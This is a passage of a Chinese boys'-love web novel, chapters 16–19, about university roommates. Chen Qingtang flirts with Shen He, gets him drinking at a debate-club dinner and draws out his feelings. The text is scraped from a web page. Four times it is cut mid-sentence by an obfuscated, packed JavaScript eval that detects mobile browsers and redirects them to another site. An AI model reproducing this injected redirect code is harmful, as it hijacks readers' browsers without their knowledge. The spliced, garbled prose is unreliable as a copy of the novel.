以为没有人会认出,那些书是男男小说。 毕竟男生几乎不看小说,耽美更是属于女频范畴,除了gay,直□□本不会去看。 但他没预料到,魏彦是个5G冲浪选手,经常混抖因上面,跟着营销号也了解了一些大火的耽美小说。 魏彦啧了声:“新子你就说你直不直。” 罗新眼睛盯着脚尖,声气比蚊子还弱:“我,我直……” 魏彦猛拍他肩膀:“大声点啊,你别这样新子,有点底气行不,你这样我害怕。” 罗新吓得一抖:“我直!” 魏彦打量他两眼,总觉得心里不太安定:“你发誓你是直的,不然我不放心。” 罗新闭了闭眼:“我发誓,我直!” 魏彦总算放过他了:“来吧,我把视频声音关了,别吵着小陈,是兄弟就一起看。” 沈鹤按住他拿平板的手,神情认真:“如果看男男小说,男男视频,也不一定是同,那要怎么判断对方是同?” 魏彦摊手:“不知道。我又不是同。” 罗新小心翼翼地开口:“可以问问对方知不知道小蓝。” 沈鹤:“小蓝?” 罗新:“嗯。这是个男同交友软件,如果是圈子里的人,就算他不玩儿小蓝,也会知道的。” 魏彦猛然发现了华点:“那你是咋知道的?” 罗新咳嗽了声:“就,就偶然,上网看见的。” 魏彦将信将疑,眯起眼看他。 罗新背过身去:“我困了,我也要睡觉。” 魏彦立马说:“别啊,片儿还没看,陪我看嘛。” 又回头去找沈鹤。 这才发现,沈鹤早就回到了自己的座位上,戴上耳机开始看书了。 魏彦耸耸肩,行吧,都不看,那他也不看了。 不能只辣他一个人的眼睛。 — 第二天一起上大课时,陈清棠继续观察沈鹤。 这个人还是没什么反应,对他跟平时差不多。 陈清棠摸不准沈鹤在想什么。 下课后,寝室四个人还在教室里,主要是魏彦还有一局排位没打完,他非要打完了再走。 沈鹤他们就留下来等他一会儿。 魏彦边打游戏边闲聊:“昨天我打球时,竟然有个男的来要我微信。” 罗新:“……给了吗。” 魏彦呸了声:“给个屁,哥铁直。” “我特么,一开始还以为他是看中了哥打球的雄姿,想跟我约球呢。结果是看中哥的鸡。” “呸呸呸,弯撩直,晦气。” 沈鹤停下笔,少有地八卦了一句:“你是怎么发现他是弯的?” 陈清棠也看向他。 魏彦:“他一开始还挺正常的,夸我穿球服真好看,夸我跑起来像头豹子好猛,夸我肯定很有劲儿啥的,腹肌肯定很整齐。” 罗新:“……” 陈清棠:“……” ……这哪里正常了。 这简直就差把‘我看上你的body了’写在脸上了。 魏彦嘿嘿乐:“我当时心里还挺美的,觉得,哼,有眼光,哥的帅气连同性都为之倾倒。” 罗新:“……” 陈清棠:“……”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800746|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 没救了这个人。 治好了都会流口水。 魏彦脸上的笑忽然就垮了,唾弃道:“结果他夸着夸着,转头问了句——你玩儿小蓝吗,有号吗。” “我瞬间就想起新子说的话,我嘞个天!雷达狂响!吓得我捂住屁股蹿出五米远,球都忘了拿转身就跑了。” 罗新觉得好笑:“你之前还想看那种片儿呢,现实里遇上一个男同就老实了。” 魏彦叹气:“老实了,这回真老实了,别搞。” 陈清棠意味不明地看了眼罗新。 他好像,明白了什么。 他们寝室含gay量好高,看来魏彦的苦日子还在后头。 这时,一贯迟钝的魏彦忽然机敏了一回:“诶,小陈,你怎么不问问小蓝是什么?你知道小蓝?” 昨天他们谈话的时候,陈清棠明明不在。 沈鹤笔尖顿住,也看向陈清棠。 陈清棠不看魏彦,却盯着沈鹤,眉梢一挑,似笑非笑地吐出两个字:“你猜。” 沈鹤目光像是被烫到了似的,猛然挪开了,手下的笔写得飞快。 看他这个反应,陈清棠就明白了,沈鹤已经知道了他是同。 但具体的,心里有没有反感他、排斥他,怎么想他的,这些还不好说。 魏彦:“我不猜,你直说呗——” 他还要追着问,罗新忽然打断:“你的兰陵王要死了。” 魏彦骂了句草,顿时全心全意投到游戏里去了。 等一局游戏打完,他已经什么都忘了。 单细胞的人生就是如此的简单。 四人乘坐电梯下楼时,刚好他们这班电梯人比较多。 陈清棠先进去,一个人立在角落。 沈鹤惯常跟在他身后,把他护在自己胸膛跟墙壁间。 往常只要他这么做,陈清棠哪怕在人堆里鼻子也不会太难受。 但今天陈清棠整个人却很紧绷,好看的眉头很轻地蹙起。 沈鹤以为他是不舒服,就往前一点,靠他更近些。 却发现,他每靠近一存,陈清棠就会往后缩一寸,眉头皱得更紧。 就好像…… 就好像在抗拒他、排斥他。 一股不分明的情绪,拉着沈鹤的心脏往下坠了一寸,他终于问出了口:“怎么了?” 陈清棠别开脸:“气味,气味不对。” 沈鹤:“什么?” 陈清棠掀起眼皮,有些委屈地看着他:“你身上的气味不对,跟以前不一样,很刺鼻,让我好难受。” 沈鹤瞳孔颤动,就那么僵在那里。 好半晌才消化了这句话,艰难地往后退了两步,同陈清棠拉开距离。 陈清棠在男生清俊的脸上,看到了明晃晃的‘打击’两个字。 好可怜呢,都有些心疼了。 但同时陈清棠又好兴奋,心脏难以克制地愉悦。 沈鹤嗓音都低落两分:“洗衣液用完了,我换了新牌子。” 陈清棠:“啊……这样啊。” 沈鹤喉结微动:“你,不喜欢这种洗衣液的气味吗。” 陈清棠抿着唇,缓慢地摇了摇头:“香精味儿太重……刺鼻。” 沈鹤垂着眼点点头。 陈清棠看不明白,点头是什么意思? 后来一路上,沈鹤都远远地跟陈清棠保持距离。 陈清棠更加不明白了。 这人,怎么稍微逗逗他,还上脾气了。 直到下午,沈鹤再来上课时,陈清棠发现——他换了衣服。 17. 第 17 章 下午放学后,寝室四人一起吃饭。 罗新和魏彦还在排队取餐。 陈清棠看着换了一身衣服,很自然地在他旁边坐下的沈鹤,表情耐人寻味:“你是不是换衣服了?” 沈鹤在擦餐具,目不斜视:“嗯。” 十分坦然。 陈清棠一只手撑着脑袋,饶有兴趣地看他:“为什么忽然换衣服?” 沈鹤:“想换就换了。” 陈清棠尾音拖着两分笑意:“哦~这样啊。” 他凑近沈鹤耳边,轻声咬字:“我还以为是因为我呢。” 一阵轻缓的气流拂过,沈鹤耳朵酥麻了一瞬,他拉开点距离,握着筷子的手微紧,面不改色地问: “现在我身上的气味,你还讨厌吗。” 陈清棠佯装思索:“我可以,闻一闻吗?” 沈鹤淡淡地嗯了声。 陈清棠缓缓凑近,距离越近,他发现沈鹤整个人就越僵硬。 五寸…… 四寸…… 三寸…… 陈清棠眉梢一挑,停在这个距离:“我应该闻哪里呢?” 好像在询问一块蛋糕——要从哪里开始吃你。 沈鹤始终保持着端坐的姿态,眼睛看着桌上的碗,手里还拿着筷子,只是呼吸变得轻慢:“都可以。” 陈清棠眼神上下扫视,打量着他:“闻脖子?” 然后他就如愿以偿地看见,沈鹤脖子上的青筋瞬间鼓了起来。 还跳动了下。 呀,真是好可爱的反应呢。 陈清棠眼里泛起笑意:“会不会太冒昧?” 沈鹤垂目:“不会。” 陈清棠恶劣地预告:“那我来咯?” 沈鹤嗯了声,分明陈清棠还没靠近,他却觉得,靠近陈清棠那一侧脖颈的皮肤,开始微微发烫,伴随着一股说不明的痒意。 余光瞥见男生凑过来的动作,沈鹤呼吸屏住了。 时间被放慢,拉长。 他好像一个等待处刑的犯人。 沈鹤已经做好准备了。 结果下一瞬,陈清棠低头在他手臂靠肩的位置闻了下。 闻的是衣服。 然后浅笑着点评道:“跟以前一样,很好闻。” 沈鹤微怔,好几秒才嗯了声,然后低着头刨了很大两口饭。 陈清棠退回自己的位置,差点没忍住笑。 这人很期待被闻脖子吗? 他无缘无故闻人家脖子才是不正常吧,那也太暧昧了点。 总之陈清棠明白了一件事,沈鹤在知道他的性取向后,并没有厌恶他,排斥他。 筷子扒拉着碗里的饭,陈清棠回味着沈鹤刚才的反应。 这个人到底是怎么想他的呢。 这时,手机震动一下。 陈清棠点开看,是楚希发来的消息。 话说最近楚希也不知道在忙什么,好几天没联系他了。 楚希:周末社团聚餐,来不,我统计人数 陈清棠:没意思,不去 楚希:来嘛来嘛,你不觉得这是一个跟沈鹤单独相处的机会? 楚希:到时候喝点酒,你俩再提前离场……啧啧,对吧 陈清棠微顿:好 陈清棠忽然意识到,他的方向有点错误。 他不该去猜、去琢磨沈鹤在想什么,这是本末倒置,让自己陷入被动。 沈鹤心里想什么,应该由沈鹤主动表现出来,自己向他展示。 这才是他陈清棠一贯的路线和方针。 陈清棠把手机反扣在桌上,回头问沈鹤:“周末辩论社团要聚餐,你去吗。” 沈鹤直视他:“你去吗。” 两人对视,目光在昏黄的灯光下交叠纠缠。 陈清棠似笑非笑:“你想我去吗?” 沈鹤唇瓣翕动,欲言又止。 陈清棠两眼弯弯:“逗你的。我当然去。你呢?” 沈鹤:“去。” 上学期沈鹤跑辩论社团还跑得很勤,因为他喜欢跟人思想交锋的感觉。 这学期沈鹤却不怎么去了,甚至平时开会也缺席。 自从上次那场‘一见钟情是否是见色起意’的辩论赛后,沈鹤忽然明白了一件事。 ——他并不喜欢辩论。 当时陈清棠带给他的那种同频共振的感受,是沈鹤在别人身上,从来没体会到过的,一下把他点醒了,让他明白: ——他只是在辩论这个思想交锋的活动中,试图寻求共鸣。 所以如果陈清棠不在辩论社,那辩论社对他来说,就毫无意义。 陈清棠笑眯眯:“那到时候一起?” 沈鹤:“嗯。” — 聚餐是在晚上,就在学校两条街外的那家饭馆。 陈清棠是跟沈鹤一起去的,但一路上两个人都很沉默。 陈清棠看沈鹤不说话,他也懒得说话。 上辈子就一直是他在找话题,那段婚姻里,是他一个人在维持着两人的关系,很累的。 这辈子陈清棠想怎么舒服怎么来了。 至于沈鹤舒不舒服,他才不想管。 到了包厢时,社团已经有一半的人先到了。 楚希正坐在一个高大的男生身旁,低眉浅笑,一副娇羞的表情,那双灵动的眼珠子滴溜溜地偷瞄人家。 陈清棠还是头一回看他那样,站在门口欣赏了两秒,拿出手机对准两人拍了张照。 回头发给楚希,他肯定会高兴。 楚希一抬头看见他,忙冲他招手:“这里!” 他专门给陈清棠占的座,那是个靠窗户的位置,透气。 陈清棠也不管沈鹤,自顾自地径直过去。 等他坐下后,旁边的椅子被拉开。 沈鹤很自然地坐到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800747|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他的身旁。 楚希朝陈清棠挤眉弄眼,悄摸声地说:“你俩一起来的?” 陈清棠嗯了声,无聊地把玩着餐具。 楚希:“可以啊,他知道你是gay后,还愿意跟你亲近,说明你俩绝对有戏。” 陈清棠漫不经心:“再说吧。” 还不知道沈鹤是怎么想的。 沈鹤本身就是个很好的人,哪怕厌恶男同,也会给予这个特殊群体基本的尊重。 他只是接受不了被男同当做目标,却并不是歧视同性恋。 陈清棠余光瞄了沈鹤一眼,身子凑近楚希,压着嗓子问:“你们点酒了吗。” 楚希:“那肯定啊。” 陈清棠:“浓度高吗?” 楚希眯起眼:“你想干嘛。” 陈清棠微笑:“干点好事。” 沈鹤那个人,喝了酒后最诚实了,什么话都套得出来。 不用太多,一两杯就好。 陈清棠拉楚希袖子:“等会儿你记得敬我酒,多敬几杯。” 楚希搞不懂他的迷惑行为:“干嘛啊,你喝酒又不在行。” 以前陈清棠都几乎不喝酒的。 陈清棠:“你敬就是了。” 楚希应付地摆摆手:“行行行。” 陈清棠满意地坐回去。 这时,肩膀忽然被人拍了下。 陈清棠一回头,就瞧见一个阳光温柔系的大帅哥,正面带微笑地看着他。 秦良:“你好,我叫秦良,开学那次的辩论赛,我们是一组的,你还有印象吗。” 陈清棠略微思索,随即露出一个礼貌又抱歉的笑。 秦良绅士道:“没关系,现在认识也不迟。” 他朝陈清棠伸出了手。 陈清棠正犹豫要不要同他握手,一个肩膀忽然把秦良的胳膊别开了。 沈鹤拿着刚用开水烫好的餐具,一样一样摆在陈清棠面前。 陈清棠和秦良同时看向他:“?” 沈鹤只注视餐具,也没什么表情:“烫过的卫生些。” 陈清棠挑眉:“谢谢。” 秦良收回还支在半空的手,笑着说:“上次辩论赛你说的真好,后面几次社团开会,怎么不见你来?” 沈鹤忽然递给陈清棠一个纸杯:“喝水。” 陈清棠一边接过那半杯水,一边敷衍秦良:“在忙。” 沈鹤又不去,他去干什么。 秦良面色惋惜:“这样啊,我还一直都盼你来呢——” 他话说到一半,沈鹤再次递给陈清棠一个东西:“要吗。” 这次是一沓餐巾纸。 秦良就这么一而再,再而三地被打断了。 陈清棠再迟钝也察觉到了点什么,他没接沈鹤的纸,只是微微眯起眼凝视他,眸光透着几分兴味儿。 沈鹤的手还僵持又固执地举在半空:“要吗。” 18. 第 18 章 包厢里的灯光偏昏黄,沈鹤俊气的侧脸被柔光勾勒出几分执着。 那架势,好像陈清棠今天不接他的东西,他就不收手一般。 良久,陈清棠忽然笑了下:“要。” 于是沈鹤把纸巾叠好,放在他的餐具旁:“不够再跟我说。我这边顺手。” 陈清棠嗯了声,转头就自己玩儿起了手机。 而秦良,被打断三次了,就算他再傻,也看出了沈鹤对他那点微妙的防备。 就好像,不乐意他跟陈清棠接触似的。 秦良也不再说什么,识趣地走开。 很快人都到齐了,大家绕着圆桌子坐了一圈。 社长张青青把包厢的门一关,站在座位旁,使劲儿拍了拍桌子:“安静啊,都安静,听我说!” 屋里喳闹的声音,如潮水般缓缓退去,最后终于平息下来,众人都安静地望向她。 张青青推了推鼻梁上土气的黑框架眼镜:“咱好不容易出来聚一趟,大家敞开了吃,不够再点!酒也管够!” 众人顿时起哄地应好。 张青青拍拍手:“但干吃饭多没意思,咱整点节目呗,谁有主意不?楚希?” 一贯大大咧咧的楚希,今天倒是内向起来了,坐在那儿摆摆手,嗓门也比平时细:“我没有。” 张青青啧了声:“那这样,咱是辩论社,今天就围绕一个主题,大家自由讨论。” “为了防止有人不积极,冷了场子,咱就按座位顺序,每个人挨个站起来说。” 有人扯着嗓子问:“咱讨论什么主题啊?” 张青青想了下:“那就,爱情吧。” 这话一出,众人都哄闹起来。 爱情好啊,大学里除了吃喝拉撒以及上课,就是惦记着能谈个恋爱了。 张青青:“我先抛个话题——大家认为爱情到底是什么,要怎么去谈恋爱。就围绕这个说吧,从左边开始,给你们三分钟准备时间。” 话音落下,屋里又恢复了之前的嘈杂和喧闹。 陈清棠略微偏头看了眼,他跟沈鹤的位置都很靠前 很快三分钟过去 第一个站起来的是个吊儿郎当的男生,他把杯子里的酒一口闷了,并不那么正经:“爱情就是我们两情相悦,一起快乐地在一起!是不是!” 众人嬉笑着捧场:“是!” 徐阳:“怎么谈恋爱的话,那当然是约会,牵手,一起上课、吃饭……” 噼里啪啦说了一大堆后,徐阳自认为很帅地比了个飞吻:“鼓掌!” 众人:“好!” 陈清棠百无聊赖地听着,手指一下一下在桌上轻点,仿佛在玩儿什么游戏。 沈鹤终于收起本子:“要就到你了,准备好了吗。” 他很期待陈清棠的发言。 陈清棠浅笑:“还需要准备吗。” 很快,一个又一个人的发言结束了,轮到了陈清棠。 在众人交叠的视线下,陈清棠站了起来。 他戴着口罩,大家都看不清他的全脸,只能看见那双平和又深邃的眼睛。 陈清棠:“我个人认为,爱情是人类高级灵魂的产物。” “一起上课,一起吃饭,一起出去玩儿,一起打游戏,这就是爱情了吗?两人就算亲密伴侣了吗?” “不,这顶多算是给自己找的玩伴,并不是爱侣。” 沈鹤原本平静无波的眸子,被这番话微微漾起了涟漪。 陈清棠就那样站在那里,泰然自若,光洒落了他满身:“有人会说,我们约会时明明感觉很开心很幸福,这种感觉是真实的,怎么不是爱情呢?” “要明白,吃喝玩乐,本身就是很让人愉快的事,你跟任何人一起去做,都会有愉快的体验,不要混淆了。” 众人都露出了思考的表情。 这时身旁的椅子忽然被拉开,沈鹤站了起来。 那双平时淡如冷月的眸子,此刻仿佛有什么正在涌动,含着某种不分明的情绪,直勾勾地看着陈清棠: “那你认为的爱情,是什么样的?” 陈清棠偏头同沈鹤对视,一字一句很缓慢,眼底的认真却那样灼热滚烫: “我欣赏你的美好 我理解你的思想 我接纳你的不同 我亲吻你的伤疤 我拥抱你的不堪 我热烈地爱着你的灵魂。” 他的语气如雪花般飘忽,沈鹤却感觉,一股电流从脊骨挣扎着,暴虐地蹿遍了全身。 某种对什么的渴望,海绵般在胸腔里肆虐膨胀,变得越来越浩大,越来越沸腾。 让他兴奋,让他头皮发麻。 陈清棠从沈鹤的眼底,看到了他从未见过的侵略性,还有占有欲。 像是未驯化的野兽,带着最原始的危险欲望。 这样的沈鹤,活了两辈子陈清棠都不曾见过,他微微愣了下。 等回过神,沈鹤的眸子已经恢复了往常的平静无波,让人探寻不出分毫异常,仿佛刚才那一瞬,只是陈清棠的错觉。 沈鹤:“所以你的观点是,不该谈那种玩伴式的恋爱?” 陈清棠摇摇头:“我的观点是,人在不同的成长阶段,会有不同的需求,大学阶段如果你的需求就是找个人陪伴,让自己不孤单,那就去找。” 沈鹤微怔,抿紧了唇。 陈清棠:“不管是什么样的恋爱,如果想谈就去谈。放纵自己,去享受那种荷尔蒙上头的愉悦,去体验恋爱带来的各种滋味儿。” “对方是谁并没那么重要,我需要从他身上,去体会被爱的感觉,以及体会热烈地爱着什么的感觉。同时通过他去学着如何爱人,学着如何处理亲密关系,如何解决矛盾。” “我需要通过他去自我成长,去反思自己想要的爱情是什么样,以及反思自己在爱情里,应该是什么样。” “所以,这段恋爱谈得怎么样,跟谁谈,怎么谈,都不重要。重要的是,我们要在恋爱里去找到自己,以及找到最佳的幸福模式。” “而大学是个很好的人生试炼场,因为在大学期间谈恋爱的试错成本最低,顶多伤心,却不会损伤财产,以及前途等。” 一席话落了,满堂震惊,众人连鼓掌都忘了。 鸦雀无声的包厢里,落针可闻。 沈鹤眼里流露出一抹压不住的灼热,他就那样看了陈清棠好几秒,然后安静地坐了回去。 等陈清棠也坐下后,楚希才首先回过神,带头打破沉默:“说得好!鼓掌!” 一瞬间,哗啦啦的掌声朝陈清棠漫了过来,众人看向他的眼神都不同了。 那样洒脱清醒的人生态度,让人听着感觉心底都敞亮了。 张青青招呼众人:“好了,中场休息10分钟,刚才这位同学的观点非常新颖,很有启发性,大家都停下来进行一下头脑风暴。” “10分钟后,我希望能听到比刚才更精彩的观点。” 这话落下后,屋里立刻变得嘈杂喧闹,大家开始七嘴八舌地讨论。 只有陈清棠和沈鹤两人没动。 这时,楚希搬了个凳子,坐到陈清棠身旁:“我靠你刚才好帅!” 陈清棠却不在意,反而冲他使眼色。 楚希困惑两秒,恍然想起什么。 哦对,之前陈清棠嘱咐过他的,让他当着沈鹤的面给自己敬酒。 楚希举起酒杯,故意大声说:“喝酒啊!” 陈清棠无奈道:“我杯子里没有酒,只有水。” 楚希:“我给你倒。” 他拎起酒瓶子,用一个干净的空杯,直接给倒满了。 这个过程,沈鹤就在旁边看着。 眼瞧着杯子里的酒越来越满,满到都快溢出了,沈鹤的眉心下压了两寸。 楚希把酒瓶子往桌上一放:“喝。要喝完啊。” 陈清棠一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800748|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手轻轻抚摸肚子,面露难色,眼神却轻飘飘地瞄向沈鹤:“我胃不太好,喝不了那么多。” 楚希啧了声,刚要说什么。 一偏头却发现,沈鹤正不太友善地看着他。 楚希脊梁骨寒了一瞬,忽然悟了。 原来陈清棠打的是这个主意? 楚希眼珠子一转,立马就来戏了:“不行啊,你怎么都得喝半杯吧,好不容易出来聚个餐,就你不喝酒多扫兴啊。” 陈清棠叹了口气,端起杯子:“好吧,我喝。” 下一秒,一只修长的手伸了过来,将他的酒杯夺走了。 陈清棠眼底浮现出一抹很轻的笑意,转头看向沈鹤的瞬间,又化作了恰到好处的微讶。 楚希就看着他演,嘴角憋着笑。 他就说这人怎么让他来敬酒呢。 感情是知道有人会帮自己挡啊。 沈鹤:“我帮他喝。” 楚希双手抱臂,故意刁难:“你是他谁啊你就帮喝,帮喝得喝双倍,喝两杯。” 沈鹤没什么表情:“我是他室友。” 他仰头闷完了一杯,又给自己倒了一杯,深吸一口气才继续喝。 陈清棠就一只手撑着脑袋,饶有兴趣地看着。 沈鹤喝酒的样子真帅啊。 那双冷目微微眯起,专注地盯着杯底,由于喝得太急,淡黄色的液体顺着他抿起的唇角蜿蜒而下。 喉结先是缓慢地往上提拉,又一点点压回去,就那样蛊惑地来回滑动。 宛如一把正在上膛的枪,性感到了极致。 也像一颗熟透的樱桃,让人想咬一口尝尝滋味,看看有多销.魂。 沈鹤喝完后,平静地把杯子放回桌上:“可以了吗。” 楚希都看呆了:“……可以。” 不是,两大杯啤酒,他就这么干完了? 这家餐馆的酒杯很大,两杯近乎于一整瓶啤酒,短短一分钟,沈沈就给消灭了。 这也太能喝了。 陈清棠拿起桌上的纸巾,怜惜地替沈鹤擦去嘴角的水渍:“喝那么急做什么,还好吗。” 瞧瞧这可怜见的,脸都发红了呢。 沈鹤眼神盯着地面,稍微别过头躲开陈清棠的动作:“我自己来。” 陈清棠收回手,看沈鹤的脸越来越红,琢磨再过会儿,酒意就差不多上来了,于是站起身:“我去上个厕所。” 走到门口,陈清棠回头看了眼,沈鹤还坐在原地没动。 但有个人却动了。 秦良正站在自己的位置上望着陈清棠,似乎想跟上去。 于是陈清棠对他亲切地笑了下。 秦良眼睛缓缓睁大,这回下定决心了,直接跟了过去。 而沈鹤,在看见秦良的动作后,只犹豫了两秒就站起了身。 陈清棠满意地关上门离开。 如果钓不动大鱼,那就先钓小鱼,大鱼会追着小鱼过来的。 厕所大概是在仓库那边。 陈清棠心情不错,就慢慢地走。 身后的那道脚步声微急,很快就追上了他。 秦良出声喊:“陈清棠。” 走廊上几乎没什么人,陈清棠没办法装听不见,他回头:“嗯?” 秦良急步到他跟前,眼底露出坦荡的欣赏:“你刚才说得真好,很有深度和启发性。” 陈清棠瞥到不远处,沈鹤已经快要走近了,还有七八步的距离,于是他开门见山:“你有事吗?” 还有五步。 秦良笑出两个酒窝,大大方方地说:“能要个微信吗,我想加你的联系方式。” 还有三步。 陈清棠慢悠悠地,拖长了语调:“啊……你想加我微信?” 一步。 秦良:“是。” 下一秒,秦良被一个身影别开了。 陈清棠愉悦又心满意足地,弯起了那双漂亮的眼睛。 19. 第 19 章 沈鹤山一般立在陈清棠面前:“不行。” 秦良面色不太好看:“为什么?我是在跟他说话。” 沈鹤:“你什么心思,自己清楚。” 在酒精的催化下,沈鹤的情绪被放大,浮到了面上来。 现在的沈鹤,谁都可以看懂他的情绪,看懂他在想什么。 秦良张了张嘴,没说出话来。 沈鹤揭他的底:“你以前谈的都是女朋友。” 秦良在社团里算个名人,他凭着那张出众的脸,掳走了好多芳心,社团里一半姑娘都是他前女友。 哪怕沈鹤两耳不闻窗外事,也听了一点秦良的闲话,他对这个情感泛滥的花花公子,真没什么好感。 秦良对峙地看着他,面不改色:“那又怎样。我是双性恋。” 沈鹤冷笑一声。 陈清棠略微惊奇,呀,这个人还会开嘲讽技能呢。 酒真是一个好东西呢,能让平时那么沉稳的沈鹤情绪外放。 秦良也感受到了对方的不善,眉尾抽动了下。 但在陈清棠面前,他不想让自己失态,只能压着情绪,弯起一双笑眼: “陈清棠,你的意思呢?” 陈清棠眼神在两人间流转,故作为难。 兜里摸着手机的手,却趁机按了关机键。 过了会儿,他才无辜地说:“可是我手机没电了。” 他还把黑屏的手机展示给对方看。 秦良愣了下,也只能说:“那下次,等下次见面可以吗。” 陈清棠:“嗯。” 谁知道下次什么时候呢。 只要沈鹤不去社团,他也不会去。 秦良走了,陈清棠这才看向沈鹤,明知故问:“你也来上厕所?” 沈鹤坦荡道:“不是。我看那个人追着你来了,不放心,来看看。” 陈清棠:“哦?有什么不放心的。” 沈鹤定定地看着他,静默了两秒才缓缓说:“他是直男。” 话里的提醒,再明显不过了。 陈清棠微微歪头,装作听不懂:“所以呢?” 沈鹤:“直男就算出于好奇想尝试下男生,顶多也只是玩玩,他们骨子里还是喜欢女生,最终也只会选择女生。” 陈清棠靠在墙上,双手抱臂看着他,眼底两分笑意:“所以呢?跟我有什么关系。” 沈鹤双手握紧又松开:“你……你不要让他靠近你。” 沈鹤知道他没有资格管别人的事儿,这种话从他嘴里说出来,很奇怪。 而且越界了。 但他没办法,看着那样一个人去接近陈清棠。 陈清棠眸子里缓缓漾开笑意。 呀,他听到了什么? 他竟然能听到沈鹤说出这么直白的话。 酒果然是个好东西呢。 沈鹤喝醉了就是要诚实些,坦然些,什么都敢往外说。 陈清棠压着眼底的笑,故意把话说得轻松:“只是加个联系方式而已。” 沈鹤笃定道:“不,他意图不轨。” 陈清棠一步步引诱:“他意图不轨,跟我有什么关系。” 沈鹤悄无声息地步入了他的语言陷阱:“我怕你——” 话到一半,戛然而止。 沈鹤忽然意识到什么,把后半句吞了下去。 他已经知道陈清棠是同了,但不能暴露这件事,所以只能旁敲侧击隐晦地提醒,刚才差点说漏嘴。 陈清棠微微眯起眼,往前凑近他:“怕我?怕我怎么?” 沈鹤不说话。 陈清棠看着他那张被酒意微微熏红的脸,往前走了两步:“怕我对他有好感?” 沈鹤因为他忽然的靠近,下意识后退。 陈清棠就得寸进尺,追着他逼近:“怕我喜欢上他?” “怕我被他骗了感情?” 他每说一句,就前进一步。 终于,沈鹤退到了墙根,背贴着墙壁再无可退。 陈清棠似笑非笑地看着他:“你怎么就确定,我有喜欢上他的可能?我是个男人,他也是个男人……” 沈鹤喉结微动,不自在地垂下眼。 陈清棠直接扔出一个重磅炸弹,揭穿他:“沈鹤,你早就知道了我喜欢男人对不对?” 沈鹤脊背一僵,瞳孔震颤。 但沈鹤的心理素质还是比较强大的。 他很快镇定下来,屏着呼吸同陈清棠对视:“你怎么能肯定?” 就这么把问题抛了回去。 陈清棠笑了下,凑近他两分,这个距离,他们能看清对方根根分明的睫毛,以及眸中的倒影: “不承认?那我来审审你。” 沈鹤面无表情地看着他。 陈清棠垂下眼,看向他宽阔的胸膛,忽然抬起自己的手,把掌心贴到了沈鹤心口的位置。 这样越界的亲密接触,两人此前从未有过。 沈鹤瞳孔放大,身体一瞬变得僵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800749|158400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 硬。 陈清棠笑眯眯:“放轻松,测测你的心跳而已,看你撒谎没有。” 沈鹤闭了闭眼,两分羞恼:“我不会撒谎。” 陈清棠只是笑而不语。 他当然知道,沈鹤就不是那种会撒谎的人。 否则从刚才被他揭穿后,沈鹤第一时间就已经撒谎掩饰了,而不是反问他。 这个动作,也不是测心跳的。 纯粹是陈清棠的恶作剧,为的就是挑起沈鹤紧张的情绪,搅乱他的心和思绪。 这样接下来的审问,才会看到更精彩,更有意思的东西。 陈清棠礼貌询问:“那我开始审了?” 沈鹤移开目光不看他,眉心蹙着。 陈清棠列举出第一个证据:“我WPS软件上的那个文档,你看过了对吗?” 沈鹤眼睫不明显地微颤了颤。 陈清棠的手指,悠哉悠哉地在他的胸膛上点了点:“em,你眨眼了,嘴唇也抿紧,心跳……有点快呢。” “你在紧张?看来我说对了。” 沈鹤不回答,只是额角的青筋蹦了两下。 陈清棠满意地笑起来,往前更加贴近他:“如果不想让我发现,那可就要把表情藏住了哦~” 沈鹤快要透不过气了,耳根发麻:“不需要。” 陈清棠并不理会,自顾自地说:“藏好了吗,我要继续审你了。” 他的手指在沈鹤的胸膛上,漫不经心地画着圈:“你肯定在想,我怎么会知道你看过那个文档,对吗?” 沈鹤无法忽视心口那处被摩挲的痒意,身子都变得紧绷。 头脑和情绪也开始紊乱,他只能用仅剩不多的理智去思考。 是的,不应该的 他特意多点开了几个学术文档,把历史浏览记录覆盖下去的。 那是沈鹤第一次做这种不太‘磊落’的事。 陈清棠继续说:“因为,因为我后来打开那个文档时,发现它被人往下翻了两页。” 这个人都知道覆盖掉历史记录,怎么就忘了把往后翻的两页,给它倒回去呢? 